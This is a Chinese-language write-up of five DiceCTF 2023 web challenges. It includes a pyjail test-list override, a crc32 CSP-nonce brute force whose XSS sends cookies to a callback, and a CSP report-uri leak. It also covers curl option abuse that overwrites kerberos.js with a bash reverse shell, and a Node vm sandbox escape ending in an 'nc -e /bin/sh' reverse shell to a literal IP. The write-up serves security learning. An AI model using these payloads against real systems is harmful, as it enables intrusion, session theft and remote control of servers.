https://mp.weixin.qq.com/s/CasEXhCQesP1Njb621EfEw 官方英文WP:https://brycec.me/posts/dicectf_2023_challenges
Scorescope 考点:pyjail 其实感觉就是一道pyjail题 题目给了一个tempaltes.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 def add (a, b ): ''' Return the sum of a and b. Parameters: a (int): The first number to add. b (int): The second number to add. Returns: int: The sum of a and b. ''' raise NotImplementedError def longest (words ): ''' Return the longest word in a list of words. When there are multiple words of the same length, return the first. Parameters: words (list): A list of words. Returns: str: The longest word in the list. ''' raise NotImplementedError def common (a, b ): ''' Return the longest common subsequence of two strings. Parameters: a (str): The first string. b (str): The second string. Returns: str: The longest common subsequence of a and b. ''' raise NotImplementedError def favorite (): ''' Return your favorite number. Must be the same as my favorite number. Returns: int: Your favorite number. ''' raise NotImplementedError def factor (n ): ''' Given an integer, find two integers whose product is n. Parameters: n (int): The number to factor. Returns: Tuple[int, int]: Two satisfying integers. ''' raise NotImplementedError def preimage (hash ): ''' Given a sha256 hash, find a preimage (bytes). Parameters: hash (str): The sha256 hash of a string in hex. Returns: bytes: A preimage of the hash. ''' raise NotImplementedError def magic (): ''' Guess the random number I am thinking of. Returns: int: Your guess. ''' raise NotImplementedError
也就是一个接口,我们随便实现一个接口,上传看看发送什么:
1 2 3 def add (a, b ): __import__ ("os" ).popen("whoami" ).read()
看样子是不能导入os模块,那么准备一个正常的接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def add (a, b ): return a+b def longest (words ): return 1 def common (a, b ): return 1 def favorite (): return 1 def factor (n ): return 1 def preimage (hash ): return 1 def magic (): return 1
成功了一部分,但是还是有一些失败了,并且注意结尾,有一个hidden 就算上面的我们满足了,但是我们不知道hidden到底要满足啥,所以无论如何都会报错,那么怎么办呢?这里用到一个jail的小tips就是利用报错带出__main__中的所有数据
1 2 3 import __main__def add (a,b ): raise BaseException(vars (__main__))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 { '__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f8252a78bd0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/app/run', '__cached__': None, 'json': <module 'json' from '/usr/local/lib/python3.11/json/__init__.py'>, 'sys': <module 'sys' (built-in)>, 'TestCase': <class 'unittest.case.TestCase'>, 'TestLoader': <class 'unittest.loader.TestLoader'>, 'TextTestRunner': <class 'unittest.runner.TextTestRunner'>, 'SilentResult': <class 'util.SilentResult'>, 'SubmissionImporter': <class 'util.SubmissionImporter'>, 'suite': <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[None, None, <test_1_add.TestAdd testMethod=test_add_positive>]>, <unittest.suite.TestSuite tests=[]>]>, <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_2_longest.TestLongest testMethod=test_longest_empty>, <test_2_longest.TestLongest testMethod=test_longest_multiple>, <test_2_longest.TestLongest testMethod=test_longest_multiple_tie>, <test_2_longest.TestLongest testMethod=test_longest_single>]>]>, <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_3_common.TestCommon testMethod=test_common_consecutive>, <test_3_common.TestCommon testMethod=test_common_empty>, <test_3_common.TestCommon testMethod=test_common_many>, <test_3_common.TestCommon testMethod=test_common_nonconsecutive>, <test_3_common.TestCommon testMethod=test_common_single>]>]>, <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_4_favorite.TestFavorite testMethod=test_favorite>]>]>, <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_5_factor.TestFactor testMethod=test_factor_bigger>, <test_5_factor.TestFactor testMethod=test_factor_large>, <test_5_factor.TestFactor testMethod=test_factor_small>]>]>, <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_6_preimage.TestPreimage testMethod=test_preimage_a>, <test_6_preimage.TestPreimage testMethod=test_preimage_b>]>]>, <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_7_magic.TestMagic testMethod=test_magic_a>, <test_7_magic.TestMagic testMethod=test_magic_b>, <test_7_magic.TestMagic testMethod=test_magic_c>]>]>, <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[<test_8_hidden.TestHidden testMethod=test_hidden>]>]>]>, 'tests': [ 'test_hidden', 'test_magic_a', 'test_magic_b', 'test_magic_c', 'test_preimage_a', 'test_preimage_b', 'test_factor_bigger', 'test_factor_large', 'test_factor_small', 'test_favorite', 'test_common_consecutive', 'test_common_empty', 'test_common_many', 'test_common_nonconsecutive', 'test_common_single', 'test_longest_empty', 'test_longest_multiple', 'test_longest_multiple_tie', 'test_longest_single', 'test_add_mixed', 'test_add_negative', 'test_add_positive' ], 'stack': [], 'current': <unittest.suite.TestSuite tests=[ None, None, <test_1_add.TestAdd testMethod=test_add_positive> ]>, 'test': <test_1_add.TestAdd testMethod=test_add_positive>, 'submission': 'import __main__rnrndef add(a, b):rn raise BaseException(vars(__main__))', 'f': <_io.TextIOWrapper name='/dev/null' mode='w' encoding='utf-8'>, 'stdout': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>, 'stderr': <_io.TextIOWrapper name='<stderr>' mode='w' encoding='utf-8'> }
得到了好一些数据,并且看到了hidden是在tests数组里的,但是我们还是不知道要满足啥,那么切换个思维,既然满足不了,那能不能覆盖呢?答案显然是可以的
1 2 3 4 import __main____main__.tests=['test_add_mixed' ]*22 def add (a,b ): raise a+b
因为在一开始我们知道test_add_mixed是被我们满足了的,这里把tests数组里22个元素都改为add_mixed就都会成功! flag就出现了,挺有意思的
Recursive-csp 考点:CSP绕过,crc32碰撞 这个实在没办法复现了,环境都无了,docker-compose也没给,云做题即可 可以通过?source拿到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php if (isset ($_GET ["source" ])) highlight_file (__FILE__ ) && die (); $name = "world" ;if (isset ($_GET ["name" ]) && is_string ($_GET ["name" ]) && strlen ($_GET ["name" ]) < 128 ) { $name = $_GET ["name" ]; } $nonce = hash ("crc32b" , $name );header ("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce ' 'unsafe-inline'; base-uri 'none';" );?> <!DOCTYPE html> <html> <head> <title>recursive-csp</title> </head> <body> <h1>Hello, <?php echo $name ?> !</h1> <h3>Enter your name:</h3> <form method="GET" > <input type="text" placeholder="name" name="name" /> <input type="submit" /> </form> <!-- /?source --> </body> </html>
可以发现,CSP Header半可控。 如果需要做到XSS,那么需要使得我们注入的script tag的nonce和整个payload crc32之后的值相同。 考虑到crc32算法碰撞率较高,直接暴力碰撞即可。PoC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import crc from "crc/crc32" ;const target = "e8b7be43" ; const script = `<script nonce="${target}" >location.href='https://mycallback/' +document.cookie</script>`; const printables = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c" ;for (const a of printables) { for (const b of printables) { for (const c of printables) { for (const d of printables) { for (const e of printables) { const result = script + a + b + c + d + e; const digest = crc(result).toString(16 ); if (digest === target) { console.log(result); process.exit(0 ); } } } } } }
就是碰撞crc32,绕过csp里的nonce即可。
Codebox 考点:CSP之report-uri报错带出数据 也没有compose文件,云做题的一天~ 这题后端从 req.query.code 提取 img 标签,并且将它们的 src 添加到 CSP header 里,这里可以注入分号,也就是追加任意的 CSP
1 2 3 4 5 6 7 8 9 10 11 const csp = [ "default-src 'none'" , "style-src 'unsafe-inline'" , "script-src 'unsafe-inline'" , ]; if (images.length ) { csp.push (`img-src ${images.join(' ' )} ` ); } res.header ('Content-Security-Policy' , csp.join ('; ' ));
前端设置flag的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <script> const code = new URL (window .location .href ).searchParams .get ('code' ); if (code) { const frame = document .createElement ('iframe' ); frame.srcdoc = code; frame.sandbox = '' ; frame.width = '100%' ; document .getElementById ('content' ).appendChild (frame); document .getElementById ('code' ).value = code; } const flag = localStorage .getItem ('flag' ) ?? "flag{test_flag}" ;document .getElementById ('flag' ).innerHTML = `<h1>${flag} </h1>` ;</script>
flag是通过innerHTML直接写入到DOM里,如果在CSP header里指定 require-trusted-types-for ‘script’ ,这个 innerHTML 的赋值就会因为字符串没有经过 Trusted-Types 处理而违反CSP规则。 违反CSP规则可以通过 report-uri 或者 report-to 来上报给指定的地址,上报的内容会包含一小部分错误详情。 构造如下 payload 并访问:https://codebox.mc.ax/?code=<img+src="111%3brequire-trusted-types-for+'script'%3breport-uri+http://csp.example.com%3b">
可以发现确实违反了 require-trusted-types-for 并且触发了 report-uri 将错误发送给了 example.com,但错误发生在 if (code) 里面的设置 iframe srcdoc 这里,这导致后面设置flag的代码并没有被执行到。怎样能不在 iframe srcdoc这里违反 CSP 呢,答案是不进入 if(code) 里面这段代码,看看code来源:
1 const code = new URL (window .location .href ).searchParams .get ('code' );
前端的 code 是通过浏览器的 URL 类 searchParams.get() 获取的,这个方法在存在多个相同参数的情况下取第一个 。而后端取 req.query.code 的时候,express.js 取的是最后一个。 所以可以构造 ?code=&code=<real_payload>
来让前后端各取所需,在前端绕过 if(code) 这个分支的同时,在后端也能注入 CSP 响应头,最终让设置flag的innerHTML违反CSP触发错误,获取 flag:
Unfinished 考点:nodejs文件覆盖getshell 审计一波源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 const { MongoClient } = require ("mongodb" );const cp = require ('child_process' );const express = require ("express" );const client = new MongoClient ("mongodb://mongodb:27017/" );const app = express ();const PORT = process.env .PORT || 4444 ;app.use (express.urlencoded ({ extended : false })); app.use (require ("express-session" )({ secret : require ("crypto" ).randomBytes (32 ).toString ("hex" ), resave : false , saveUninitialized : false })); const requiresLogin = (req, res, next ) => { if (!req.session .user ) { res.redirect ("/?error=You need to be logged in" ); } next (); }; app.post ("/api/login" , async (req, res) => { let { user, pass } = req.body ; if (!user || !pass || typeof user !== "string" || typeof pass !== "string" ) { return res.redirect ("/?error=Missing username or password" ); } const users = client.db ("app" ).collection ("users" ); if (await users.findOne ({ user, pass })) { req.session .user = user; return res.redirect ("/" ); } res.redirect ("/?error=Invalid username or password" ); }); app.post ("/api/ping" , requiresLogin, (req, res ) => { let { url } = req.body ; if (!url || typeof url !== "string" ) { return res.json ({ success : false , message : "Invalid URL" }); } try { let parsed = new URL (url); if (!["http:" , "https:" ].includes (parsed.protocol )) throw new Error ("Invalid URL" ); } catch (e) { return res.json ({ success : false , message : e.message }); } const args = [ url ]; let { opt, data } = req.body ; if (opt && data && typeof opt === "string" && typeof data === "string" ) { if (!/^-[A-Za-z]$/ .test (opt)) { return res.json ({ success : false , message : "Invalid option" }); } if (opt === "-d" || ["GET" , "POST" ].includes (data)) { args.push (opt, data); } } cp.spawn ('curl' , args, { timeout : 2000 , cwd : "/tmp" }).on ('close' , (code ) => { res.json ({ success : true , message : `The site is ${code === 0 ? 'up' : 'down' } ` }); }); }); app.get ("/" , (req, res ) => res.sendFile (req.session .user ? "dashboard.html" : "index.html" , { root : "static" })); client.connect ().then (() => { app.listen (PORT , () => console .log (`web/unfinished listening on http://localhost:${PORT} ` )); });
First of All,是存在一个逻辑漏洞的,因为res.redirect缺少return,所以还是会继续执行,因此这个身份认证和p一样 主要逻辑放在ping路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 app.post ("/api/ping" , requiresLogin, (req, res ) => { let { url } = req.body ; if (!url || typeof url !== "string" ) { return res.json ({ success : false , message : "Invalid URL" }); } try { let parsed = new URL (url); if (!["http:" , "https:" ].includes (parsed.protocol )) throw new Error ("Invalid URL" ); } catch (e) { return res.json ({ success : false , message : e.message }); } const args = [ url ]; let { opt, data } = req.body ; if (opt && data && typeof opt === "string" && typeof data === "string" ) { if (!/^-[A-Za-z]$/ .test (opt)) { return res.json ({ success : false , message : "Invalid option" }); } if (opt === "-d" || ["GET" , "POST" ].includes (data)) { args.push (opt, data); } } cp.spawn ('curl' , args, { timeout : 2000 , cwd : "/tmp" }).on ('close' , (code ) => { res.json ({ success : true , message : `The site is ${code === 0 ? 'up' : 'down' } ` }); }); });
在这个路由中允许我们执行Curl指令,但是有几个条件
opt参数必须以 - 字母
如- O
这种形式出现
要么data中包含GET或POST,要么opt选项是-d
也就是说我们可以执行2种命令:
1 2 curl http (s): curl http (s):
那么这就涉及到curl指令的运用了,常见的指令有-O <path>
写文件-K <path>
指定 curlrc,curlrc 里可以包含任意 curl 参数
这个选项的意思是以加载文件中的内容作为参数,如文件内容是output=”/home/user/.node_modules/kerberos.js” 那么就相当于curl xxx –output=”/home/user/.node_modules/kerberos.js”
-d @/path/to/file
把文件POST给指定 URL 然后还有一个很有意思的设想就是:既然我们可以写入任意文件,那么我们可以看一下程序加载时会加载自动加载哪些js文件,再覆盖其中一个实现rce 这里直接贴一下r3kapig的图 可以发现是会加载kerberos.js文件的,那么我们就很自然的想到去覆盖这个文件了,那么现在自己VPS编写一个文件
1 2 create-dirs output="/home/user/.node_modules/kerberos.js"
使用-O GET
把他写入/tmp/GET
文件内(这是要给curlrc用的),然后再准备一个文件,shell文件
1 require ('child_process' ).exec ('bash -c "bash -i >& /dev/tcp/<YOUR_IP>/<YOUR_PORT> 0>&1"' )
最后通过-K去调用curlrc,实现多参数使用;-K GET
加载/tmp/GET
文件,也就是执行了curl --create-dirs --output=/home/user/.node_modules/kerberos.js http://xxx
,最后覆盖了kerberos.js 那么我们还缺最后一步,也就是让服务器崩溃,这里当我们-K加载后就直接弹shell了 最后node -e '(async _ =>{const { MongoClient } = require("mongodb"); const client = new MongoClient("mongodb://mongodb:27017/");q = await client.db("secret").collection("flag").find().toArray();console.log(q);})();'
获取flag,因为在docker文件中的init.js告诉我们flag是在数据库里
jwtjail 考点:nodejs vm沙盒逃逸之proxy hook 看了半天才看懂他的意思,这道题的代码很短,然后环境你也没办法搭起来,因为他根本没给你compose文件(给了Dockerfile,貌似可以硬搭,不管这么多XD)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 "use strict" ;const jwt = require ("jsonwebtoken" );const express = require ("express" );const vm = require ("vm" );const app = express ();const PORT = process.env .PORT || 12345 ;app.use (express.urlencoded ({ extended : false })); const ctx = { codeGeneration : { strings : false , wasm : false }};const unserialize = (data ) => new vm.Script (`"use strict"; (${data} )` ).runInContext (vm.createContext (Object .create (null ), ctx), { timeout : 250 });process.mainModule = null ; app.use (express.static ("public" )); app.post ("/api/verify" , (req, res ) => { let { token, secretOrPrivateKey } = req.body ; try { token = unserialize (token); secretOrPrivateKey = unserialize (secretOrPrivateKey); res.json ({ success : true , data : jwt.verify (token, secretOrPrivateKey) }); } catch { res.json ({ success : false , data : "Verification failed" }); } }); app.listen (PORT , () => console .log (`web/jwtjail listening on port ${PORT} ` ));
代码很容易看得懂,咱们可控的代码被放在了vm沙盒对象中,这个App是一个用来校验jwt是否正确的工具
思路整理 我们输入需要校验的JWT也就是Token,然后下面放上key,他就会显示出结果,类似jwt.io功能,然后注意一下沙盒中一些选项
Strings:false
use strict
process.mainModule = null;
这三点对应这三题的三道坎儿,首先是Strings:false,在Vm模块中可以设置选项 设置为false说明不可以对任何eval或者是Function构造函数进行调用,假如不禁用这个选项的话那么就是一个简单的vm逃逸了,我们可以通过
1 2 3 4 "use strict" ;const vm = require ("vm" );const y1 = vm.runInNewContext (`this.constructor.constructor('return process.env')()` );console .log (y1);
通过this进行简单的逃逸 这里面的this指向的是当前传递给runInNewContext的对象,最终会返回沙盒外的对象,假如启用了之后会报错 Code generation from strings 错误,这就是一开始在文档中看到的内容 还有一点就是use strict,这个选项是启用严格模式,这个选项假如没开启我们可以怎么逃逸呢?我们可以通过方法的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const vm = require ('vm' );const script = `(() => { const a = {} a.toString = function () { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString() } return a })()` ;const sandbox = Object .create (null );const context = new vm.createContext (sandbox);const res = vm.runInContext (script, context);console .log ('Hello ' + res)
如上例子,我们可以通过arguments
关键字进行逃逸,这个内置属性在学nodejs的时候见过,可以自行检索;arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。但是这里也ban掉了 最后一点就是process.mainModule,这个是在最后命令执行时又多了一层过滤,我们一般执行命令都是通过process.mainMoudle.require('child_process')
进行命令执行的,但是这里直接在沙盒外又设置为了null,那么就不能通过child_process了,这里作者提到了使用spawn进行命令执行,这个在做rce的题也是遇到过process.binding("spawn_sync").spawn({"args":["nc","IP","12345","-e","/bin/sh"],"file":"nc","stdio":[{"type":"pipe","readable":true,"writable":false}]})
使用process.binding也是可以命令执行的,那么思路理完了就该思考如何获取沙盒外的对象呢?
Proxy Hook 什么是Proxy Hook呢?我们可以理解为php里的魔术方法,当在某种特定条件时就会触发 其中我们常用的不亚于get、set、apply
,但是get和set在这题由于是strict模式,我们无法获取一个沙盒外的对象,那么答案是什么呢? 最终答案是apply的第三个参数!
1 2 3 4 5 6 7 8 let p=new Proxy (_ => _,{ apply (target,thisArg,argumentsList ){ console .log ("come in" ); console .log (target); console .log (thisArg); console .log (argumentsList);} } )
可以看到第三个参数返回的是一个数组类型,而数组类型在js中,这里有一个关于vm逃逸的知识,在vm模块中变量分为两种类型原生、引用 ,那么基本类型数字,字符串就是原生类型,而数组就是一个引用类型,这个引用类型是对象外的对象!
1 2 3 4 5 6 const util = require ('util' );const vm = require ('vm' );const sandbox = { arr :[1 ]};vm.createContext (sandbox); res1=vm.runInContext (`arr.constructor.constructor("return process")();` , sandbox); console .log (res1)
加入我们把数组换成字符串,则会报错 现在我们已经有了一个沙盒外的对象了,我们该如何触发它呢?
[Symbol.toPrimitive]
对象的Symbol.toPrimitive属性,指向一个方法。该对象被转为原始类型(number、string、Boolean、null、undefined、symbol、bigInt)的值时,会调用这个方法,返回该对象对应的原始类型值。 Symbol.toPrimitive被调用时,会接受一个字符串参数,表示当前运算的模式,一共有三种模式。
Number:该场合需要转成数值 String:该场合需要转成字符串 Default:该场合可以转成数值,也可以转成字符串
对象的symbol.toPrimitive属性你也可以当成一个hook,他会在类型强制转换时触发,下面有一个网上的例子就简单的拿过来看看 那我们结合上面所说的一系列,我们可以构造一个payload雏形
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 "use strict" ;const jwt = require ("jsonwebtoken" );const vm = require ("vm" );let script={ constructor : { name : { [Symbol .toPrimitive ]: new Proxy (_ => _, { apply (a,b,c ) { console .log ("a" ,a); console .log ("b" ,b); console .log ("c" ,c); } }) } } } String (script.constructor .name )Number (script.constructor .name )console .log (+script.constructor .name )console .log (-script.constructor .name )console .log (`test${script.constructor.name} ` )
根据上述例子可以看出来,在对name属性进行类型强制转换时会触发Symbol.toPrimitive
设置的方法,也就是Proxy,而Proxy在被当成方法调用时就会触发apply hook,因此对结果进行了输出,至此思路已经很清晰,接下来直接给出payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 "use strict" ;const jwt = require ("jsonwebtoken" );const vm = require ("vm" );let script=` { constructor: { name: { [Symbol.toPrimitive]: new Proxy(_=>_, { apply(a,b,c) { c.constructor.constructor("return this")().process.binding("spawn_sync").spawn({"args":["calc"],"file":"calc","stdio":[{"type":"pipe","readable":true,"writable":false}]}) } }) } } }` const ctx = { codeGeneration : { strings : false , wasm : false }};const unserialize = (data ) => new vm.Script (`"use strict"; (${data} )` ).runInContext (vm.createContext (Object .create (null ), ctx), { timeout : 250 });const token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.LLPW3b1BzsGRHh1AiHDi6W6RKK-k7INCN_gkvzJUlfo" ;const p=unserialize (script);console .log (p)jwt.verify (token, p)
至此成功逃逸
流程分析 给一个断点在verify函数,因为题目触发点就是在这里 我们payload位置对应的是key,可以看到这莉的key就是自定义的proxy类,然后由于类型不符合就会进入报错流程 在这里存在一个对value.constructor.name
的强制字符串类型转换,value也就是代理对象,那么就会触发apply hook,这个在先前的demo中证实了的,因此最后弹出计算机,流程就是如此~
linux环境测试 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const endpoint = `http://127.0.0.1:5555` const jwt = require ('jsonwebtoken' )const token = jwt.sign ({}, 'a' )fetch (endpoint + `/api/verify` , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' }, body : new URLSearchParams ({ token : `'${token} '` , secretOrPrivateKey :`{ constructor: { name: { [Symbol.toPrimitive]: new Proxy(_=>_, { apply(a,b,c) { c.constructor.constructor("return this")().process.binding("spawn_sync").spawn({"args":["nc","114.116.119.253","7777","-e","/bin/sh"],"file":"nc","stdio":[{"type":"pipe","readable":true,"writable":false}]}) } }) } } }` })}).then ((res ) => res.text ()) .then (console .log )